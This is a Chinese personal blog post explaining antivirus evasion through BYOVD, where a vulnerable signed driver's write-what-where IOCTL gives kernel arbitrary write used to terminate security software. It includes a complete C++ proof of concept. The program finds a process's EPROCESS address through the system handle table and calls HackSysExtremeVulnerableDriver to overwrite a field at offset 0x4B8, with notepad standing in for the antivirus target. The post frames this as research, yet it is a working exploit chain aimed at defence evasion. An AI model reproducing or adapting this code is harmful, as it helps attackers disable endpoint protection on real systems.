Mobile wallpaper 1Mobile wallpaper 2Mobile wallpaper 3Mobile wallpaper 4
1675 字
8 分钟
基于 BYOVD 的 Windows 内核态任意写(Arbitrary Write)免杀技术探讨
2026-06-16
统计加载中...

基于 BYOVD 的 Windows 内核态任意写(Arbitrary Write)免杀技术探讨#

今天聊聊免杀,

本技术及代码仅供合法合规的安全研究与防御提升使用,严禁用于任何非法攻击;因不当使用导致的系统崩溃或法律后果,均由行为人自行承担。

流行的免杀大类基本分为一体的注入,但是这种对于静态分析较为明显,也是最初级的一种

再者是引入加载器loader,也就是机器码与loader分开,这样可以大大降低被杀的风险,

双边进行多重的分块强加密,最后进行拼组,对于免杀绕过效率会大大提高,我在之前

也是手搓过一个示例,过了大部分杀软

img

以及诸多DLL白加黑,加壳,签名等等的技术

当然,今天的重点不是这些方法,

这次主要谈谈内核态的进阶免杀理解

都知道,杀软都是有静态和动态免杀的,而这些时候

windows在10/11的杀软策略尤为激进,

引入了大量的底层hook,即使加密在最后拼凑的时候还是会触发api的hook

这里介绍其中一种进阶方法

在windows底层api之下,存在systemcall,也就是内核方法的入门

程序如果对于内核进行调用,是可以绕开常规hook的

当然,正常的程序却没有随意写的权限,

如果自己写改内存的程序也会没有正确的证书签名而被微软拒绝

这里就要引入一个新概念了,也就是劫持ring3改ring0

正常的驱动很多时候会向内存执行许多操作,

比如调度电,提电压等等,

但是如果是漏洞sys,就会有可以被劫持的写内存的接口,

而windows底层api DeviceIoControl可以对于驱动进行通信

如果说存在类似

//直接获取用户态传入的原始结构体指针
PWRITE_WHAT_WHERE pBuf = (PWRITE_WHAT_WHERE)irpStack->Parameters.DeviceIoControl.Type3InputBuffer;
//直接赋值
ULONG_PTR what = *(pBuf->What);
PULONG_PTR where = pBuf->Where;
// 用 Ring 0 权限向攻击者指定的任意内核地址写入任意数据
*where = what;

的代码,当然是可以更加复杂的,这只是一个最小示例

在微软白名单的漏洞驱动进行加载后,就存在了内存任意写

当然,任意写的目的还是kill杀软,这里就要引入下一个概念,

也就是句柄了,在windows里handle无比重要,

当我想kill一个程序的时候,必须拿到它在内存里的地址,

windows的底层存在未公开api NtQuerySystemInformation

这里注意需要二次分段传参为好,对于主机的影响是最小的,提前获取到内存盒大小

在这里返回的内核句柄表的子参与prccess pid进行比对

查找pid较为简单,类似函数如下

DWORD GetProcessIdByPID(const wchar_t* procName) {
DWORD pid = 0;
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (snapshot != INVALID_HANDLE_VALUE) {
PROCESSENTRY32W entry;
entry.dwSize = sizeof(entry);
if (Process32FirstW(snapshot, &entry)) {
do {
if (wcscmp(entry.szExeFile, procName) == 0) {
pid = entry.th32ProcessID;
break;
}
} while (Process32NextW(snapshot, &entry));
}
CloseHandle(snapshot);
}
return pid;
}

提两个小知识,CreateToolhelp32Snapshot可以拍下当前所有状态的函数,也就可以查询了,

这里也是利用这个原理,以及

PROCESSENTRY32W entry;
entry.dwSize = sizeof(entry);

是必须的,微软文档要求需传入。

再往下,句柄的地址表基本上是句柄xxx,指向内核0xxxxxx,

我们只有pid,可以通过openprocess api进行句柄信息的申请

挂载在自身之后,我们就可以在大表中遍历了

for (ULONG i = 0; i < pHandleInfo->NumberOfHandles; i++) {
if (pHandleInfo->Handles[i].UniqueProcessId == currentPid &&
(HANDLE)(ULONG_PTR)pHandleInfo->Handles[i].HandleValue == hTargetProc) {
EprocessAddress = (ULONG_PTR)pHandleInfo->Handles[i].Object;
break;
}
}

Object也就拿到了指向目标程序的内核地址

这样重点就剩下最后一步了,在找到了内存地址之后,就要算核心电源的地址了

这之中存在偏移,在尝试了大量的调试甚至盲打之后,发现windbg其实挺一劳永逸的

不同的版本的偏移不一样,调试就不赘述了

当然注意的事还有很多,在申请句柄表的时候不清楚内存分配还炸了好几次

后面就用小算法弥补了,

免杀中这仅仅还是冰山一角,要学的东西还是很多hh

比如在如何隐式加载sys,很多未公开api和进阶的方法

逆流而上吧, YMsora~

这里补下我手搓的小实验程序

#include <stdio.h>
#include <windows.h>
#include <tlhelp32.h>
#include <iostream>
#define HAVE_IOCTL_ARBITRARY_WRITE 0x22200B
#pragma comment(lib, "ntdll.lib")
typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO {
USHORT UniqueProcessId;
USHORT CreatorBackTraceIndex;
UCHAR ObjectTypeIndex;
UCHAR HandleAttributes;
USHORT HandleValue;
PVOID Object;
ULONG GrantedAccess;
} SYSTEM_HANDLE_TABLE_ENTRY_INFO, *PSYSTEM_HANDLE_TABLE_ENTRY_INFO;
typedef struct _SYSTEM_HANDLE_INFORMATION {
ULONG NumberOfHandles;
SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1];
} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;
typedef struct _WRITE_WHAT_WHERE {
PVOID What;
PVOID Where;
} WRITE_WHAT_WHERE, *PWRITE_WHAT_WHERE;
extern "C" NTSTATUS WINAPI NtQuerySystemInformation(
ULONG SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength
);
DWORD GetProcessIdByPID(const wchar_t* procName) {
DWORD pid = 0;
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (snapshot != INVALID_HANDLE_VALUE) {
PROCESSENTRY32W entry;
entry.dwSize = sizeof(entry);
if (Process32FirstW(snapshot, &entry)) {
do {
if (wcscmp(entry.szExeFile, procName) == 0) {
pid = entry.th32ProcessID;
break;
}
} while (Process32NextW(snapshot, &entry));
}
CloseHandle(snapshot);
}
return pid;
}
int main() {
DWORD nPID = GetProcessIdByPID(L"notepad.exe");
if (nPID == 0) {
std::cerr << "事到如今,先打开吧" << std::endl;
system("pause");
return 1;
}
HANDLE hTargetProc = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, nPID);
if (!hTargetProc) {
std::cerr << "坏了没联系" << std::endl;
system("pause");
return 1;
}
volatile ULONG reqLength = 0x10000;
PSYSTEM_HANDLE_INFORMATION pHandleInfo = NULL;
NTSTATUS status = 0;
std::cout << "正在动态套牢内核句柄大表..." << std::endl;
while (true) {
pHandleInfo = (PSYSTEM_HANDLE_INFORMATION)VirtualAlloc(
NULL, reqLength, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!pHandleInfo) {
std::cerr << "内存分配严重失败!" << std::endl;
CloseHandle(hTargetProc);
system("pause");
return 1;
}
status = NtQuerySystemInformation(16, pHandleInfo, reqLength, (PULONG)&reqLength);
if (status == 0xC0000004) {
VirtualFree(pHandleInfo, 0, MEM_RELEASE);
reqLength *= 2;
continue;
}
if (status != 0) {
std::cerr << "内核拒绝,错误码: 0x" << std::hex << status << std::endl;
VirtualFree(pHandleInfo, 0, MEM_RELEASE);
CloseHandle(hTargetProc);
system("pause");
return 1;
}
break;
}
ULONG_PTR EprocessAddress = 0;
DWORD currentPid = GetCurrentProcessId();
for (ULONG i = 0; i < pHandleInfo->NumberOfHandles; i++) {
if (pHandleInfo->Handles[i].UniqueProcessId == currentPid &&
(HANDLE)(ULONG_PTR)pHandleInfo->Handles[i].HandleValue == hTargetProc) {
EprocessAddress = (ULONG_PTR)pHandleInfo->Handles[i].Object;
break;
}
}
VirtualFree(pHandleInfo, 0, MEM_RELEASE);
if (EprocessAddress == 0) {
std::cerr << "没找到记事本的 Eprocess 地址" << std::endl;
CloseHandle(hTargetProc);
system("pause");
return 1;
}
std::cout << "==================================================" << std::endl;
std::cout << "偷到的记事本基地址为:" << std::endl;
std::cout << "0x" << std::hex << std::uppercase << EprocessAddress << std::endl;
std::cout << "==================================================" << std::endl;
system("pause");
// 靶点计算
PULONG_PTR TargetAddress = (PULONG_PTR)((ULONG_PTR)EprocessAddress + 0x4B8);
ULONG_PTR ValueToWrite = 0x0000000000000000;
HANDLE hDevice = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hDevice == INVALID_HANDLE_VALUE) {
std::cerr << "Failed to open device: " << GetLastError() << std::endl;
CloseHandle(hTargetProc);
system("pause");
return 1;
}
WRITE_WHAT_WHERE POC;
POC.What = (PVOID)&ValueToWrite;
POC.Where = (PVOID)TargetAddress;
DWORD bytesReturned = 0;
BOOL result = DeviceIoControl(
hDevice,
HAVE_IOCTL_ARBITRARY_WRITE,
&POC,
sizeof(POC),
NULL,
0,
&bytesReturned,
NULL
);
CloseHandle(hDevice);
CloseHandle(hTargetProc);
if (!result) {
std::cerr << "DeviceIoControl failed: " << GetLastError() << std::endl;
system("pause");
return 1;
}
MessageBoxA(NULL, "记事本退出成功,内核实验成功hhhh", "YMsora的超级实验", MB_OK | MB_ICONINFORMATION);
return 0;
}

PS:其实调试挺久的,大家看到很多system(“pause”); 就可以证明了hh

基于 BYOVD 的 Windows 内核态任意写(Arbitrary Write)免杀技术探讨
https://ymsora.com/posts/内核免杀/
作者
YMsora~X
发布于
2026-06-16
许可协议
Unlicensed

部分信息可能已经过时